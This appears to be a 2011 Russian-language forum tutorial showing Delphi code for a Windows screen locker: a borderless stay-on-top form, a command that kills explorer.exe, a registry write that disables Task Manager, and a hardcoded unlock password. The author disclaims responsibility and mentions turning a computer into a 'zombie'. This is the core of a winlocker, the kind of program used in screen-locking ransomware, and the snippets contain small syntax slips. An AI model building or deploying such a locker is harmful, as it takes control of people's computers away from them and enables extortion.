Головна » Програми

Блокировка виндовс (Windows) с помощью Delphi
21.06.2011, 17:39
Здесь я напишу как заблокировать компьютер с помощью картинки.
Здравствуйте!!!)
Не будем терять время перейдем сразу к делу:
Кидаем на форму image(из Win32),1 Button и 1 edit
Желательно чтобы изображение было хорошего качества и хотя бы закрывало пол экрана.
Нажимаем форму, Properties, обрабатываем форму:
BorderStyle:bsNone
AutoScroll:False
AutoSize:True
FormStyle:fsStayOnTop

Ну дальше можно написать блокировать диспетчер задач,закрыть процесс explorer.exe (отвечает за показ на монитор папок,рабочего стола и т.д.).
(OnCreate(у формы(Добавляем для работы с реестром:
Uses:registry;Var reg.TRegistry)))
WinExec(PANsiChar('TASKKILL /F /IM explorer.exe'), SW_HIDE);
begin
reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
reg.WriteString('DisableTaskMgr','1');
reg.CloseKey;
end;

Событие на кнопку:
procedure TForm1.Button1Click(Sender: TObject);
begin
if Edit1.Text='123' then //Если в Edit1 написан такой текст,то закрыть форму и запустить explorer(экран,рабочий стол,все папки)
Close;
if Edit1.Text='123' then
ShellExecute(Handle,'open','C:\WINDOWS\Explorer.EXE',nil,nil,SW_ShowNormal);

Далее можно добавить Функции свернуть все окна.Нуууу,Вроде и все.Можно добавить функцию sleep жаль в миллисекундах но всё же, но ее можно использовать вот так.
OnCreate у формы если вы забыли:
WinExec(PANsiChar('TASKKILL /F /IM explorer.exe'), SW_HIDE);
sleep(2500000)
ShellExecute(Handle,'open','C:\WINDOWS\Explorer.EXE',nil,nil,SW_ShowNormal);

банальный пример, но все же)Например в интернет клубах примерно так и делают.После определенного времени сделать комп "зомби".Это всё.GReIIIHuK}
P.S.
Данная статья служит исключительно для расширение Мировоззрения :D
Никакой ответственности я за нее не несу))))
Категорія: Програми | Додав: 5h6 | Теги: Delphi
Переглядів: 805 | Завантажень: 0
Всього коментарів: 0
Додавати коментарі можуть тільки зареєстровані користувачі.
[ Реєстрація | Увійти ]
 Вгору